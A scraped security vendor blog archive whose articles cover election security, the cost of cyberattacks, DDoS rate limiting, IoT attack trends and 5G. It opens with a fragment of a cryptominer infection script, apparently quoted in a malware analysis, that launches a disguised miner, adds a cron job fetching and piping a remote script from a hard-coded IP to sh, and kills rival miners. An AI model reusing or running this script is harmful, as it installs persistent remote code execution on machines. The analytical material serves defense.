nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

DDoS AttacksHacksSecurity

Hacking Democracy: Vulnerable Voting Infrastructure and the Future of Election Security

November 6, 2018 — by Mike O'Malley1

election_security-960x640.jpg

It’s been two years since international interference sabotaged the United States’ election security, and still the vulnerability of our voting infrastructure remains a major problem. This past May, during Tennessee’s primary election, the Knox County election website fell prey to a DDoS attack. And just days ago, Texas voters experienced “ominous irregularities” from voting machines.

In the lead up to the midterm elections, Radware surveyed Facebook users on the safety of U.S. elections, and the results paint a gloomy picture. The overwhelming majority (93.4 percent) of respondents believe that our election system is vulnerable to targeting and hacking—and they’re correct. What’s more, respondents were unable to suggest long-term tenable solutions when asked how the U.S. can improve its election safety (which is understandable, given the complexity of the issue).

A Seriously Flawed Voting Infrastructure

It is alarmingly quick and easy to hack into U.S. voting systems; just ask the 11-year-old boy who earlier this year demonstrated how he could hack into a replica of the Florida state election website and change voting results in under 10 minutes.

Why is it so easy? A large part of the problem is a lack of consistency among state election systems in either protocols or equipment. Voting equipment varies from paper ballots, to punch cards to electronic touch screens. Some states manually count votes while others use automation. Because of these many variables, each state has different security flaws and different vulnerability of being hacked.

There are roughly 350,000 voting machines used in the U.S. today, according to Verified Voting. There are two types of machines: direct-recording electronic (DRE) machines, which are digital and allow voters to touch a screen to make their selections, and optical-scan systems. Optical-scan machines allow voters to make their selections on a paper ballot, which gets fed into an optical scanner and can be used later to verify the digital results. The DREs are of particular concern because all models are vulnerable to hacking. And because DREs do not provide a hard copy of the vote, it is difficult to double-check results for signs of manipulation.

[You may also like: Can Hackers Ruin America’s Election Day?]

Additionally, voting machines need to be programmed with ballot information, which likely happens by direct connection to the Internet. Precinct results are often centrally tabulated by state and local governments over their various local area networks, adding even more points of potential hacking and vote manipulation.

Multiple voting machines, multiple connection points, multiple network architectures, multiple tabulation systems. There is no consistent framework to secure thousands of potential different weaknesses.

Today, the burden lies with local municipalities, which are ill-equipped to deal with sophisticated, nationally-organized cyber security attacks by hostile foreign governments. That’s the bad news. But the good news is that we can do something about it.

We Need to Reboot

This midterm election, it’s estimated that 1 in 5 Americans will cast ballots on machines that do not produce a paper record of their votes. This is highly problematic when you consider that the Department of Homeland Security (DHS) identified election system hacking in 21 states—nearly half of the country—last September. If left unaddressed, these vulnerabilities will continue to threaten national security and our democratic system.

The federal government, through DHS, needs to help municipalities and government workers minimize risks and become smarter about election hacking issues by taking these steps:

  • Teach administrative staff about phishing scams, DDoS attacks, etc.  While election officials and staff are trained on the proper procedures and deployment of their voting systems, it is also important that be educated on cybersecurity events so that they are not as likely to fall prey to them and compromise local networks.
  • Do not open any attachments without confirming the attachment came from a trusted source. Attachments are one of the biggest security risks, particularly attachments coming from unknown, suspicious or untrustworthy sources.
  • Use best practices for password protection such as two-factor authentication so that security is maximized. This method confirms users’ identities through a combination of two different factors: something they know and something they have, like using an ATM bank card which requires the correct combination of a bank card (something that the user has) and a PIN (something that the user knows).
  • Keep all software updated. Turn on auto-updates on your phone and laptops – don’t wait to apply them.
  • Check for firmware updates on all printer and network devices as part of your regular patch management schedule as these devices can be weaponized. Updates can add new or improved security features and patch known security holes.
  • Do not conduct any non-government related activity while connected to the network – fantasy football, signing your kid up for soccer, etc.

[You may also like: DDOS Protection is the Foundation for Application Site and Data Availability]

The Future of Election Security

Looking forward, innovative technologies such as blockchain, digital IDs and electronic signatures should be considered on a single, national voting network. Some states, like West Virginia, have already deployed pilot programs enabling voting via a blockchain network to store and secure digital votes.

The threat of interference remains until we are on a secure nationwide election system. To preserve the democratic value of one person one vote, the U.S. must make the necessary security upgrades to prevent voter fraud, foreign influence campaigns and hacking of our election infrastructure. Federal legislation needs to be introduced to make this happen. Protecting our elections is a matter of national security, requiring immediate action and coordination at all levels of government.

 

Read “Radware’s 2018 Web Application Security Report” to learn more.

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Application SecurityDDoS AttacksSecurity

The Million-Dollar Question of Cyber-Risk: Invest Now or Pay Later?

October 30, 2018 — by Radware4

balance_risk_cybersecurity_risk-960x640.jpg

Cybersecurity is often an afterthought. Executives are quick to focus on the endgame benefits of customer-centric strategies, digital transformation, mobility, IoT and cloud computing, yet cybersecurity often falls by the wayside compared to these strategic initiatives. In fact, many executives view cybersecurity strictly as a cost center.

This cost-savings, bolt-on approach to implementing cybersecurity might yield short-term financial savings that leave the finance department feeling good. But it also leaves organizations in a “pay me now, pay me later” scenario that runs the risk of significant financial loss and damage to customer satisfaction and market reputation in the long run. Resulting breaches devalue and compromise any digital transformation and/or customer-facing programs, resulting in lost time, money and, most importantly, customer faith.

In an increasingly insecure world where security and availability are the cornerstones of the digital consumer, organizations must reevaluate how they balance the investment versus risk equation and alter how and when they implement cybersecurity.

THE TRUE COST OF A CYBERATTACK/DATA BREACH

To understand just how detrimental this approach can be to the long-term health of an organization requires a grasp of the true cost of a cyberattack and any resulting data breaches. Sadly, these types of statistics are often poorly understood by organizations. According to Radware, 80 percent of organizations don’t calculate the cost of cyberattacks. You can’t manage what you don’t measure.

Ultimately, cyberattacks are far more expensive than organizations realize. Not only in monetary costs but also by damage incurred to brand reputation, operational expenses and, most importantly, the impact on the customer experience.

As a starting point, cyberattacks cost, on average, more than 1 million USD/EUR, according to 40 percent of global executives. This figure represents the actual operational costs associated with “cleaning up” an attack. Five percent of executives estimate this cost to be more than 25 million USD/EUR. But these figures only represent the tip of the iceberg.

The larger, more damaging effect is the impact on customer loyalty and trust, brand damage and a wide array of other “hidden costs.” According to executives, the top three impacts from a cyberattack are:

  • 41% Customer loss
  • 34% Brand reputation loss
  • 34% Productivity/operational loss

Specifically, there is a high price for not securing the customer experience. In today’s digitally driven world where consumers own the relationship, the foundation of the customer experience is a mix of security and availability. When an organization’s customers have their data compromised, the price is steep. Customer attrition rates can increase by as much as 30 percent following a cyberattack. Moreover, organizations that lose over four percent of their customers following a data breach suffer an average total cost of $5.1 million. In addition to these direct impacts, there are “hidden” costs associated with a data breach as well, including increased insurance premiums, a lower credit rating, devaluation of trade name and loss of intellectual property. Lastly, there are legal fees as well because today’s customers are willing to retaliate. Forty-one percent of executives report that customers have taken legal action against their companies following a data breach. Target, among many name brands such as Panera Bread, Sears, and Saks, is just one well-publicized example of both the legal and customer loyalty impact that cyberattacks have had on name brands.

Flip The Paradigm

What if organizations could flip the paradigm? What if organizations could create a secure environment for their customers and, in the process, use security as a competitive differentiator?

That opportunity now exists because 21st-century digital consumers are asking if they are conducting business with organizations that are proactive about safeguarding their information and how they will fix it if a breach does occur. For example, consumers are now more concerned about having their personal data stolen than their physical possessions such as wallets, automobiles and house keys. High-profile attacks in recent years (and the resulting fallout) mean that cybersecurity and data protection is no longer a topic just for network analysts and IT professionals. It has transitioned from the back pages of tech publications to mainstream conversation.

The impact on businesses is twofold. Whereas companies were once reticent to speak publicly about cybersecurity because it could cause consumers to question their business’s fragility, they must now embrace and communicate their ability to safeguard customer data. Forward-thinking organizations must use security and due diligence as competitive differentiators to build trust and loyalty with customers in the face of an increasingly insecure world.

It is no longer about delivering a world-class experience. It is about delivering a SECURE, world-class experience. In today’s digitally driven, social media world where consumers own the relationship, security has to become the very fabric of the business.

So how are executives expected to accomplish this facing new security threats, tight budgets, a shortfall in cybersecurity professionals and the need to safeguard increasingly diversified infrastructures? The key is creating a secure climate for customers by embracing technology and change. Corporate networks are the linchpins of interactions with customers who expect responsive apps, fast performance and, above all, protection of their data.

To create this climate, research shows that executives must be willing to accept new technologies, be open-minded to new ideologies and embrace change. Executives committed to staying on top of this ever-evolving threat must break down the silos that exist in the organization to assess the dimensions of the risks across the enterprise and address these exposures holistically. Next is balancing the aforementioned investment versus risk equation. All executives will face tough choices when deciding where to invest resources to propel their companies forward. As the threat of cyberattacks becomes a question of when not if, C-suite executives must leverage the aforementioned data points and carefully evaluate the risks associated with security vulnerabilities and the costs of implementing effective security solutions. As identified in the same report, four in 10 respondents identify increasing infrastructure complexity, digital transformation plans and integration of artificial intelligence as putting pressure on security planning and budget allocation.

The stakes are high. Security threats can seriously impact a company’s brand reputation, resulting in customer loss, reduced operational productivity, and lawsuits. C-suite executives recognize the multiple pressures on their organizations to integrate new network technologies, transform their businesses and defend against cyberattacks. Those executives who are willing to embrace technology and change and prioritize cybersecurity will be the ones to win the trust and loyalty of the 21st-century consumer.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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DDoS AttacksHTTP Flood AttacksSecurity

Rate Limiting-A Cure Worse Than the Disease?

September 5, 2018 — by Eyal Arazi0

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Rate limiting is a commonly-used tool to defend against application-layer (L7) DDoS attacks. However, the shortcomings of this approach raises the question of whether the cure is worse than the disease?

As more applications transition to web and cloud-based environments, application-layer (L7) DDoS attacks are becoming increasingly common and potent.

In fact, Radware research found that application-layer attacks have taken over network-layer DDoS attacks, and HTTP floods are now the number one most common attack across all vectors. This is mirrored by new generations of attack tools such as the Mirai botnet, which makes application-layer floods even more accessible and easier to launch.

It is, therefore, no surprise that more security vendors claim to provide protection against such attacks. The problem, however, is that the chosen approach by many vendors is rate limiting.

A More Challenging Form of DDoS Attack

What is it that makes application-layer DDoS attacks so difficult to defend against?

Application-layer DDoS attacks such as HTTP GET or HTTP POST floods are particularly difficult to protect against because they require analysis of the application-layer traffic in order to determine whether or not it is behaving legitimately.

For example, when a shopping website sees a spike in incoming HTTP traffic, is that because a DDoS attack is taking place, or because there is a flash crowd of shoppers looking for the latest hot item?

Looking at network-layer traffic volumes alone will not help us. The only option would be to look at application data directly and try to discern whether or not it is legitimate based on its behavior.

However, several vendors who claim to offer protection against application-layer DDoS attacks don’t have the capabilities to actually analyze application traffic and work out whether an attack is taking place. This leads many of them to rely on brute-force mechanisms such as HTTP rate limiting.

[You might also like: 8 Questions to Ask in DDoS Protection]

A Remedy (Almost) as Bad as the Disease

Explaining rate limiting is simple enough: when traffic goes over a certain threshold, rate limits are applied to throttle the amount of traffic to a level that the hosting server (or network pipe) can handle.

While this sounds simple enough, it also creates several problems:

  • Rate limiting does not distinguish between good and bad traffic: It has no mechanism for determining whether a connection is legitimate or not. It is an equal-opportunity blocker of traffic.
  • Rate limiting does not actually clean traffic: An important point to emphasize regarding rate limiting is that it does not actually block any bad traffic. Bad traffic will reach the original server, albeit at a slower rate.
  • Rate limiting blocks legitimate users: It does not distinguish between good and malicious requests and does not actually block bad traffic so rate limiting results in a high degree of false positives. This will lead to legitimate users being blocked from reaching the application.

Some vendors have more granular rate limiting controls which allow limiting connections not just per application, but also per user. However, sophisticated attackers get around this by spreading attacks over a large number of attack hosts. Moreover, modern web applications (and browsers) frequently use multiple concurrent connections, so limiting concurrent connections per user will likely impact legitimate users.

Considering that the aim of a DDoS attack is usually to disrupt the availability of web applications and prevent legitimate users from reaching them, we can see that rate limiting does not actually mitigate the problem: bad traffic will still reach the application, and legitimate users will be blocked.

In other words – rate limiting administers the pains of the medication, without providing the benefit of a remedy.

This is not to say that rate limiting cannot be a useful discipline in mitigating application-layer attacks, but it should be used as a last line of defense, when all else fails, and not as a first response.

A better approach with behavioral detection

An alternative approach to rate limiting – which would deliver better results – is to use a positive security model based on behavioral analysis.

Most defense mechanisms – including rate limiting – subscribe to a ‘negative’ security model. In a nutshell, it means that all traffic will be allowed through, except what is explicitly known to be malicious. This is how the majority of signature-based and volume-based DDoS and WAF solutions work.

A ‘positive’ security model, on the other hand, works the other way around: it uses behavioral-based learning processes to learn what constitutes legitimate user behavior and establishes a baseline of legitimate traffic patterns. It will then block any request that does not conform to this traffic pattern.

Such an approach is particularly useful when it comes to application-layer DDoS attacks since it can look at application-layer behavior, and determine whether this behavior adheres to recognized legitimate patterns. One such example would be to determine whether a spike in traffic is legitimate behavior or the result of a DDoS attack.

[You might also like: 5 Must-Have DDoS Protection Technologies]

The advantages of behavioral-based detections are numerous:

  • Blocks bad traffic: Unlike rate limiting, behavioral-based detection actually ‘scrubs’ bad traffic out, leaving only legitimate traffic to reach the application.
  • Reduces false positives: One of the key problems of rate limiting is the high number of false positives. A positive security approach greatly reduces this problem.
  • Does not block legitimate users: Most importantly, behavioral traffic analysis results in fewer (or none at all) blocked users, meaning that you don’t lose on customers, reputation, and revenue.

That’s Great, but How Do I know If I Have It?

The best way to find out what protections you have is to be informed. Here are a few questions to ask your security vendor:

  1. Do you provide application-layer (L7) DDoS protection as part of your DDoS solution, or does it require an add-on WAF component?
  2. Do you use behavioral learning algorithms to establish ‘legitimate’ traffic patterns?
  3. How do you distinguish between good and bad traffic?
  4. Do you have application-layer DDoS protection that goes beyond rate limiting?

If your vendor has these capabilities, make sure they’re turned-on and enabled. If not, the increase in application-layer DDoS attacks means that it might be time to look for other alternatives.

Read “2017-2018 Global Application & Network Security Report” to learn more.

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Attack Types & VectorsBotnetsDDoSSecurity

The Evolution of IoT Attacks

August 30, 2018 — by Daniel Smith5

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What is the Internet of Things (IoT)? IoT is the ever-growing network of physical devices with embedded technologies that connect and exchange data over the internet. If the cloud is considered someone else’s computer, IoT devices can be considered the things you connect to the internet beyond a server or a PC/Laptop. These are items such as cameras, doorbells, light bulbs, routers, DVRs, wearables, wireless sensors, automated devices and just about anything else.

IoT devices are nothing new, but the attacks against them are. They are evolving at a rapid rate as growth in connected devices continues to rise and shows no sign of letting up. One of the reasons why IoT devices have become so popular in recent years is because of the evolution of cloud and data processing which provides manufacturers cheaper solutions to create even more ‘things’. Before this evolution, there weren’t many options for manufacturers to cost-effectively store and process data from devices in a cloud or data center.  Older IoT devices would have to store and process data locally in some situations. Today, there are solutions for everyone and we continue to see more items that are always on and do not have to store or process data locally.

[You might also like: The 7 Craziest IoT Device Hacks]

Cloud and Data Processing: Good or Bad?

This evolution in cloud and data processing has led to an expansion of IoT devices, but is this a good or a bad thing? Those that profit from this expansion would agree that this is positive because of the increase in computing devices that can assist, benefit or improve the user’s quality of life. But those in security would be quick to say that this rapid rise in connected devices has also increased the attack landscape as there is a lack of oversight and regulation of these devices. As users become more dependent on these IoT devices for daily actives, the risk also elevates. Not only are they relying more on certain devices, but they are also creating a much larger digital footprint that could expose personal or sensitive data.

In addition to the evolution of IoT devices, there has been an evolution in the way attacker’s think and operate. The evolution of network capabilities and large-scale data tools in the cloud has helped foster the expansion of the IoT revolution. The growth of cloud and always-on availability to process IoT data has been largely adopted among manufacturing facilities, power plants, energy companies, smart buildings and other automated technologies such as those found in the automotive industry. But this has increased the attack surfaces for those that have adopted and implemented an army of possible vulnerable or already exploitable devices. The attackers are beginning to notice the growing field of vulnerabilities that contain valuable data.

In a way, the evolution of IoT attacks continues to catch many off guard, particularly the explosive campaigns of IoT based attacks. For years, experts have warned about the pending problems of a connected future, with IoT botnets as a key indicator, but very little was done to prepare for it.  Now, organizations are rushing to identify good traffic vs malicious traffic and are having trouble blocking these attacks since they are coming from legitimate sources.

As attackers evolve, organizations are still playing catch up. Soon after the world’s largest DDoS attack, and following the publication of the Mirai source code, began a large battle among criminal hackers for devices to infect. The more bots in your botnet, the larger the attack could be.  From the construction of a botnet to the actual launch an attack, there are several warning signs of an attack or pending attack.

As the industry began monitoring and tracking IoT based botnets and threats, several non-DDoS based botnets began appearing. Criminals and operators suddenly shifted focus and began infecting IoT devices to mine for cryptocurrencies or to steal user data. Compared to ransomware and large-scale DoS campaigns that stem from thousands of infected devices, these are silent attacks.

Unchartered Territory

In addition to the evolving problems, modern research lacks standardization that makes analyzing, detecting and reporting complicated. The industry is new, and the landscape keeps evolving at a rapid rate causing fatigue in some situations. For instance, sometimes researchers are siloed, and research is kept for internal use only which can be problematic for the researcher who wants to warn of the vulnerability or advise on how to stop an attack. Reporting is also scattered between tweets, white papers, and conference presentations. To reiterate how young this specialty is, my favorite and one of the most respected conferences dedicated to botnets, BotConf, has only met 6 times.

EOL is also going to become a problem when devices are still functional but not supported or updated. Today there are a large number of connected systems found in homes, cities and medical devices that at some point will no longer be supported by the manufacturers yet will still be functional. As these devices linger unprotected on the internet, they will provide criminal hackers’ a point of entry into unsecured networks. Once these devices pass EOL and are found online by criminals, they could become very dangerous for users depending on their function.

In a more recent case, Radware’s Threat Research Center identified criminals that were targeting DLink DSL routers in Brazil back in June. These criminals were found to be using outdated exploits from 2015. The criminals were able to leverage these exploits against vulnerable and unpatched routers 4 years later. The malicious actors attempted to modify the DNS server settings in the routers of Brazilian residents, redirecting their DNS request through a malicious DNS server operated by the hackers. This effectively allowed the criminals to conduct what’s called a man in the middle attack, allowing the hackers to redirect users to phishing domains for local banks so they could harvest credentials from unsuspecting users.

[You might also like: IoT Hackers Trick Brazilian Bank Customers into Providing Sensitive Information]

Attackers are not only utilizing old and unpatched vulnerabilities, but they are also exploiting recent disclosures. Back in May, vpnMentor published details about two critical vulnerabilities impacting millions of GPON gateways. The two vulnerabilities allowed the attackers to bypass authentication and execute code remotely on the targeted devices. The more notable event from this campaign was the speed at which malicious actors incorporated these vulnerabilities. Today, actors are actively exploiting vulnerabilities within 48 hours of the disclosure.

What Does the Future Hold?

The attack surface has grown to include systems using multiple technologies and communication protocols in embedded devices. This growth has also led to attackers targeting devices for a number of different reasons as the expansion continues. At first hackers, mainly DDoS’er would target IoT devices such as routers over desktops, laptops, and servers because they are always on, but as devices have become more connected and integrated into everyone’s life, attackers have begun exploring their vulnerabilities for other malicious activity such as click fraud and crypto mining. It’s only going to get worse as authors and operators continue to look towards the evolution of IoT devices and the connected future.

If anything is an indication of things to come I would say it would be found in the shift from Ransomware to crypto mining. IoT devices will be the main target for the foreseeable future and attackers will be looking for quieter ways to profit from your vulnerabilities. We as an industry need to come together and put pressure on manufacturers to produce secure devices and prove how the firmware and timely updates will be maintained. We also need to ensure users are not only aware of the present threat that IoT devices present but also what the future impact of these devices will be as they approach end of life. Acceptance, knowledge, and readiness will help us keep the networks of tomorrow secured today.

Download “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies” to learn more.

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BotnetsMobile DataMobile SecuritySecurityService Provider

IoT, 5G Networks and Cybersecurity: The Rise of 5G Networks

August 16, 2018 — by Louis Scialabba2

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Smartphones today have more computing power than the computers that guided the Apollo 11 moon landing. From its original positioning of luxury, mobile devices have become a necessity in numerous societies across the globe.

With recent innovations in mobile payment such as Apple Pay, Android Pay, and investments in cryptocurrency, cyberattacks have become especially more frequent with the intent of financial gain. In the past year alone, hackers have been able to mobilize and weaponize unsuspected devices to launch severe network attacks. Working with a North American service provider, Radware investigations found that about 30% of wireless network traffic originated from mobile devices launching DDoS attacks.

Each generation of network technology comes with its own set of security challenges.

How Did We Get Here?

Starting in the 1990s, the evolution of 2G networks enabled service providers the opportunity to dip their toes in the water that is security issues, where their sole security challenge was the protection of voice calls. This was resolved through call encryption and the development of SIM cards.

Next came the generation of 3G technology where the universal objective (at the time) for a more concrete and secure network was accomplished. 3G networks became renowned for the ability to provide faster speeds and access to the internet. In addition, the new technology provided better security with encryption for voice calls and data traffic, minimizing the impact and damage levels of data payload theft and rogue networks.

Fast forward to today. The era of 4G technology has evolved the mobile ecosystem to what is now a mobile universe that fits into our pockets. Delivering significantly faster speeds, 4G networks also exposed the opportunities for attackers to exploit susceptible devices for similarly quick and massive DDoS attacks. More direct cyberattacks via the access of users’ sensitive data also emerged – and are still being tackled – such as identity theft, ransomware, and cryptocurrency-related criminal activity.

The New Age

2020 is the start of a massive rollout of 5G networks, making security concerns more challenging. The expansion of 5G technology comes with promises of outstanding speeds, paralleling with landline connection speeds. The foundation of the up-and-coming network is traffic distribution via cloud servers. While greatly benefitting 5G users, this will also allow attackers to equally reap the benefits. Without the proper security elements in place, attackers can wreak havoc with their now broadened horizons of potential chaos.

What’s Next?

In the 5G universe, hackers can simply attach themselves to a 5G connection remotely and collaborate with other servers to launch attacks of a whole new level. Service providers will have to be more preemptive with their defenses in this new age of technology. Because of the instantaneous speeds and low lag time, they’re in the optimal position to defend against cyberattacks before attackers can reach the depths of the cloud server.

2018 Mobile Carrier Ebook

Discover more about what the 5G generation will bring, both benefits and challenges, in Radware’s e-book “Creating a Secure Climate for your Customers” today.

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